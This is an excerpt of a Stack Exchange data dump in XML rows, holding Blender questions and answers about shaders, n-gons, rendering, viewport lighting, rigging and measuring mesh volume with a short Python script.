  <row Id="36429" PostTypeId="2" ParentId="36426" CreationDate="2015-08-25T20:13:09.750" Score="3" Body="&lt;p&gt;Translucent shader gets power (brightness) from the light rays that enter the surface scatter inside and come through the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the rays coming through the volume are absorbed by volume absorption, the translucent shader gets less energy and is darker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scattering is also an approximation and you will get much more accurate results with volume scatter or subsurface scattering shaders.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-25T20:13:09.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36430" PostTypeId="1" AcceptedAnswerId="36442" CreationDate="2015-08-25T20:27:52.233" Score="6" ViewCount="939" Body="&lt;p&gt;I would just like to understand why in the cycles fake absorption setup he ray length have to be multiplied against the backfacing value in order to tell Cycles when the ray starts and stops. I did the BlenderDiplom tutorial and there was no explanation as to why that does what it does. I can use the fake absorption setup with no problem, I would just like to understand exactly how it works so I can use it knowing exactly what it is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WtWY2.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WtWY2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2015-08-25T22:48:08.883" Title="Cycles Fake Absorption Setup Explanation" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36431" PostTypeId="1" CreationDate="2015-08-25T20:37:52.910" Score="3" ViewCount="501" Body="&lt;p&gt;When I render my image, it renders perfectly fine, but it doesn't save out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain how to get my image to save after rendering?&lt;/p&gt;&#xA;" OwnerUserId="16692" LastEditorUserId="8262" LastEditDate="2015-08-26T21:31:02.643" LastActivityDate="2017-09-03T16:49:50.973" Title="Render not being saved" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="5" ClosedDate="2015-10-09T05:09:09.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="36432" PostTypeId="1" CreationDate="2015-08-25T20:41:51.187" Score="1" ViewCount="11156" Body="&lt;p&gt;I have a student that has been working on a project recently and finally got the steps to work. However, when she tries to open the files in blender, it won't open. Instead, it takes her to the page as if she was saving it again. Any ideas on why this is happening? I have never ran into this problem before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2018-04-29T01:28:21.903" Title="Why won't blender files open?" Tags="&lt;blend-files&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36433" PostTypeId="1" AcceptedAnswerId="36434" CreationDate="2015-08-25T21:09:07.990" Score="2" ViewCount="373" Body="&lt;p&gt;I heard about this thing called ngons, and adding ngons to your mesh.  I am wondering about how to add an ngon to my mesh, and what it looks like.  There are no obvious tools for adding an ngon.  How do I add an ngon?&lt;/p&gt;&#xA;" OwnerUserId="16311" LastActivityDate="2015-08-26T13:49:54.690" Title="Adding Ngons to Meshes" Tags="&lt;mesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36434" PostTypeId="2" ParentId="36433" CreationDate="2015-08-25T21:10:18.977" Score="5" Body="&lt;p&gt;An N-Gon is simply a face with more than 4 vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nF49L.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nF49L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how there aren't any edges going across it, it's all one face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add one, just select more than four vertices, and press F. An N-Gon is just another type of face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, an N-Gon might seem great, but let's look at what happens if we pull of of the virtices from the last image up in z space a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M56d5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M56d5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might look okay, but notice how you don't see any shading from the raised vertex. Now let's look from another angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vJmuq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJmuq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might seem okay, but notice how the shading is the same all around. There's no change in color throughout it. To amplify the issues even more, let's run this through cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TSou1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TSou1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D view (for a point of reference) The selected Vertex is the raised one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WA7do.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WA7do.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how odd the shading is when it's rendered, especially when you compare to how it's rendered in the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand what's happening here, we'll have to take a quick look at how faces are rendered, or prepared for rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tris are the only thing that the GPU can render, so that means that every face you make, has to be split up into a Triangle. What's happening here, is that the Blender is having issues splitting up the face, because it has no way of knowing how to split it up effectively. This is where the real downfall of N-Gons are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there couldn't be an explanation of N-Gons without mentioning their issues with subsurf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this example of a cylinder that is capped with an n-gon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1fSuf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1fSuf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subsurf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fM0Je.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fM0Je.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are lots of distortions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pro's and Cons of N-Gons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They allow you to connect more than 4 vertices to a face.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Cons&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They are extremely unpredictable when it comes to shading&lt;/li&gt;&#xA;&lt;li&gt;They cause lots of distortion when deformed or subserfed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-08-26T13:49:54.690" LastActivityDate="2015-08-26T13:49:54.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36435" PostTypeId="1" CreationDate="2015-08-25T21:10:24.590" Score="1" ViewCount="565" Body="&lt;p&gt;Here is the situation&lt;br&gt;&#xA;I loaded several video files, edited the strips, did some cuttings, and made a sequence that I'd like to get rendered, added some audio files, did same kind of work on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here is the thing, after I render this sequence, in the resulting file I get portions of video fragments that I cutted out while editing, And I don't see them in video view in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be the reason for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1x-xi34dnYFYUhfQXQ4WUNjdVE/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I6nSg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6nSg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16694" LastEditorUserId="16694" LastEditDate="2015-08-25T22:41:00.260" LastActivityDate="2016-08-07T14:59:42.050" Title="blender renders wrong portions of video strips" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="25" ContentLicense="CC BY-SA 3.0" />
  <row Id="36436" PostTypeId="2" ParentId="36425" CreationDate="2015-08-25T21:21:25.393" Score="7" Body="&lt;p&gt;Here I have a sphere reflecting the two objects and environment.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kHaL5.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kHaL5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want an object to be reflected just select it, go to the &lt;em&gt;Object&lt;/em&gt; header and uncheck the &lt;strong&gt;&lt;em&gt;Glossy&lt;/em&gt;&lt;/strong&gt; box in the &lt;em&gt;Ray Visibility&lt;/em&gt; panel.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6HSgO.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6HSgO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nsAIh.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nsAIh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see the objects reflected, but without the reflection of the environment, go to the &lt;em&gt;World&lt;/em&gt; material settings in a &lt;em&gt;Node Editor&lt;/em&gt; and set up the nodes as pictured below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3Pl3h.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Pl3h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-25T21:21:25.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36437" PostTypeId="2" ParentId="36431" CreationDate="2015-08-25T21:26:07.033" Score="0" Body="&lt;p&gt;You might be forgetting to specify the location of the file.  The default location of the render is in the tmp directory.  Try checking that, but your computer might not have a tmp directory.  On Windows, the tmp directory is in C:\tmp.&lt;/p&gt;&#xA;" OwnerUserId="16311" LastActivityDate="2015-08-25T21:26:07.033" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="36438" PostTypeId="1" CreationDate="2015-08-25T21:47:50.473" Score="1" ViewCount="1430" Body="&lt;p&gt;I'm quite new to blender so please, any help you can give is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to measure the volume of an irregular object (e.g. a mold of clay) on either a concave or convex surface (such as the back of a hand). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is .stl and is a non-solid mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Blender comes with 3D printing tools to take these measurements but I am having problems making the object solid (taking into account the curvature of the surface) to take this volume. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the surface cannot be scanned alone beforehand to subtract from the surface+clay image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ultimate dream is to write a python script to take a user defined area (e.g. the borders of the clay mold) and somehow measure the volume taking the curved surface into account. But at the moment, any advice on how to go about this with blender would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here are some images of the file and what I am trying to achieve. I am trying to measure the indented suface in the 2nd image, taking into account the curvature shown by the side on profile in image 1. (Thanks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JkkfH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JkkfH.png&quot; alt=&quot;side on profile of clay on back of hand&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TRviq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TRviq.png&quot; alt=&quot;undersurface of the stl file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16695" LastEditorUserId="16695" LastEditDate="2015-09-06T21:17:57.177" LastActivityDate="2016-03-23T18:29:19.947" Title="Measuing an irregular volume from an .stl mesh" Tags="&lt;mesh&gt;&lt;3d-printing&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36439" PostTypeId="1" CreationDate="2015-08-25T21:54:13.197" Score="1" ViewCount="570" Body="&lt;p&gt;I'm using an old character model to follow a rigging tutorial. My character is humanoid and has a tail. The character in the tutorial is human, but I want to finish the tutorial first without trying anything new. Can I add the tail controls afterward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how?&lt;/p&gt;&#xA;" OwnerUserId="16696" LastEditorUserId="8262" LastEditDate="2015-08-26T00:53:53.420" LastActivityDate="2015-11-24T03:26:49.430" Title="Once I made and parented a rig, can I still add more bones? (forgot the tail)" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;workflow&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36440" PostTypeId="2" ParentId="36291" CreationDate="2015-08-25T22:12:01.243" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start out by making one simple board (just a cube scaled down along the X and Y axes, with loop cuts add).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4RUSH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4RUSH.png&quot; alt=&quot;one board&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve circle (BezierCircle or NurbsCircle makes no difference)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Array&lt;/em&gt; modifier and a &lt;em&gt;Curve&lt;/em&gt; modifier to the board object.&lt;br&gt;&#xA;Set the Array's &lt;em&gt;Fit Type&lt;/em&gt; to &lt;em&gt;Fit Curve&lt;/em&gt; and select the circle added in step two. To put a little space around the boards, set the &lt;em&gt;Relative Offset&lt;/em&gt; to something a bit higher then 1.&lt;br&gt;&#xA;Set the Curve modifier's &lt;em&gt;Object&lt;/em&gt; to the circle added in step two.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Lattice&lt;/em&gt;, Increase the divisions along the W (Z) axis. In object mode scale it to fit around the barrel.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lzOga.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lzOga.png&quot; alt=&quot;lattice options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Lattice&lt;/em&gt; modifier to the board object. Set the Lattice as the &lt;em&gt;Object&lt;/em&gt;.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iazqS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iazqS.png&quot; alt=&quot;all modifiers on the board object&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Last go in to the Lattice's edit mode and scale out the middle control points, this will make the barrel larger in the middle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is a gif of the entire process.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/vbqhoHN.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-25T22:12:01.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36441" PostTypeId="2" ParentId="33037" CreationDate="2015-08-25T22:25:58.250" Score="1" Body="&lt;p&gt;While in edit mode, with elements (faces, edges or vertices) selected, you can cycle through various translate/scaling/rotation restrictions by hitting the X,Y or Z buttons. While moving (hit 'g') a vertex (for example) with your mouse, hit 'X' once. The vertex will be restricted to moving along the world coordinate x-axis from its original location. Hit 'X' again, and it is restricted to the local coordinate x-axis. Hit 'X' once again, and the restriction is removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also use Shift with X,Y or Z. This would place restrictions on ONLY the selected axis. For example, 'X' allows ONLY changes along the x axis, while 'Shift-X' allows changes on the y and z axis but NOT the x axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this applies equally to Moving (g), Rotating (r) and Scaling (s).&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="16665" LastEditDate="2015-08-26T00:34:39.910" LastActivityDate="2015-08-26T00:34:39.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36442" PostTypeId="2" ParentId="36430" CreationDate="2015-08-25T22:48:08.883" Score="7" Body="&lt;p&gt;The way the node setup you are referencing works is by coloring the inside wall of a material based on how far the ray has traveled within the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2u440.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;backfacing&lt;/em&gt; output gives &lt;code&gt;1&lt;/code&gt; if the ray is hitting the side &lt;em&gt;opposite&lt;/em&gt; the normal (the &quot;front&quot; of the face), and &lt;code&gt;0&lt;/code&gt; if the ray is hitting the side with the normal (the &quot;front&quot; of the face).  So the output of the first multiply node (from the left) will be &lt;code&gt;ray_length * 1 = ray_length&lt;/code&gt; if the ray is hitting the backside of a face (meaning it is inside the object) and &lt;code&gt;ray_length * 0 = 0&lt;/code&gt; when the ray is hitting the front of a face (meaning it is outside of the object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the nodes just convert the linear falloff to exponential and use that result to mix the base color with the absorption color.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-25T22:48:08.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36443" PostTypeId="2" ParentId="36439" CreationDate="2015-08-25T22:52:01.380" Score="1" Body="&lt;p&gt;Yes. An armature can be adjusted multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armatures typically are parented with a default weight paint for organic creatures.  Next weight paint is used to refine your weights of bones.  Vertex groups are the typical mechanism for control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have two options.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Preferred. Reuse. Use  the vertex groups you have and paint new vertex groups for the tail bones.  Expect some adjustments for previous bones near the tail bones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;More work if you choose to start from beginning. Delete the old armature modifier and all vertex groups and parent again to the armature.  Weight paint again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Armature and their weights can come and go just like any other Blender Feature.  The first one can be challenging.  The works gets easier each new attempt at armature and weight painting.  You can archive your file for extra peace of mind.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-08-25T22:52:01.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36444" PostTypeId="1" AcceptedAnswerId="36501" CreationDate="2015-08-25T22:59:08.240" Score="4" ViewCount="7134" Body="&lt;p&gt;Is there some way to add more light to the 3D scene during modeling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to the final render, but just make the object more visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed few tutorials and I do exact steps but somehow their model during modeling phase is with more light even if no light in the scene is present.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To better explain myself - I'd like to make modeled object (without material and other stuff) to be more lighten up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I see object during modeling:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Y6g9h.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6g9h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same object but I moved my position in viewport:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eT4vB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eT4vB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TjlIg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TjlIg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During tutorial (space corridor from blender guru)&#xA;is his object far more visible during modeling from different angles.&#xA;For me is my object far more darker - as it is visible on picture 1.&lt;/p&gt;&#xA;" OwnerUserId="16698" LastEditorUserId="16698" LastEditDate="2015-08-26T19:49:56.820" LastActivityDate="2015-08-26T21:26:15.177" Title="How to add more light to the 3D view" Tags="&lt;3d-view&gt;&lt;light&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="2" ClosedDate="2015-08-26T21:14:40.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="36445" PostTypeId="2" ParentId="36424" CreationDate="2015-08-25T23:01:30.250" Score="0" Body="&lt;p&gt;Sorry to answer my own question, but I have found the cause. I should have posted the entire screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Soe2p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Soe2p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I clicked the button left from the &quot;View&quot; button the left bottom and changed it to &quot;UV/Image Editor&quot;, the UV unwrap became visible right away, so I would think that the model was indeed unwrapped but not shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody can explain this, I would of course accept his solution.&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-08-25T23:05:23.357" LastActivityDate="2015-08-25T23:05:23.357" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36446" PostTypeId="2" ParentId="36444" CreationDate="2015-08-25T23:04:24.770" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K3Ag2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K3Ag2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the lights to be visible in 3D View and NOT rendereable in the final render.&#xA;In the outliner window you will see an eye for view, arrow for selection, camera for render.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The camera should icon be clicked and set to dull gray so it is not used in final render.&#xA;In Blender Render your 3D View should be in Texture Mode.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-25T23:13:06.087" LastActivityDate="2015-08-25T23:13:06.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36447" PostTypeId="2" ParentId="36444" CreationDate="2015-08-25T23:25:35.520" Score="3" Body="&lt;p&gt;You may do this in the &lt;strong&gt;&lt;em&gt;Material&lt;/em&gt;&lt;/strong&gt; settings. Go to the &lt;em&gt;Settings&lt;/em&gt; panel and decrease the viewport specular's &lt;strong&gt;&lt;em&gt;Hardness&lt;/em&gt;&lt;/strong&gt; value or increase the viewport color's value.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/80J7h.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/80J7h.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-26T10:26:18.943" LastActivityDate="2015-08-26T10:26:18.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36448" PostTypeId="2" ParentId="36438" CreationDate="2015-08-26T00:09:15.920" Score="3" Body="&lt;p&gt;The quick and dirty way would be this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First use a remesh modifier with a fairly high number of iterations (at least 7), to keep a the fidelity high. The remesh modifier will automatically close off your mesh and make it watertight.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use bmesh to calculate the volume:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;o = bpy.context.object&#xA;&#xA;bpy.ops.object.modifier_add( type = 'REMESH' )&#xA;&#xA;remesh = o.modifiers[ len( o.modifiers ) - 1 ]&#xA;remesh.mode         = 'SMOOTH'   # Remesh type smooth&#xA;remesh.octree_depth = 7          # 7 subdivision levels&#xA;&#xA;d   = o.to_mesh() # Create a temporary mesh with modifiers applied&#xA;bm  = bmesh.from_edit_mesh( d )&#xA;vol = bm.calc_volume()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2016-03-23T18:29:19.947" LastActivityDate="2016-03-23T18:29:19.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36449" PostTypeId="1" AcceptedAnswerId="36453" CreationDate="2015-08-26T00:10:27.933" Score="2" ViewCount="11341" Body="&lt;p&gt;I have created a low poly mesh in Blender.&#xA;Now I would like to texture it in a different program.&#xA;Therefore I would need a high poly model. &#xA;When I add a &quot;Smooth&quot; modifier, nothing happens, my model still looks blocky.&#xA;I expected my model to become smooth and the jagged edges would go away: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eSm3F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eSm3F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody tell me how I would do this? &#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-08-26T14:25:30.967" Title="Creating high poly from low poly model" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36450" PostTypeId="2" ParentId="36449" CreationDate="2015-08-26T00:19:34.900" Score="0" Body="&lt;p&gt;I'm not sure I completely understand what you want to do, but try a Subdivision Surface modifier or a Multiresolution modifier.  You can then &quot;apply&quot; the modifier to make the increased subdivisions permanent.&lt;/p&gt;&#xA;" OwnerUserId="9771" LastActivityDate="2015-08-26T00:19:34.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
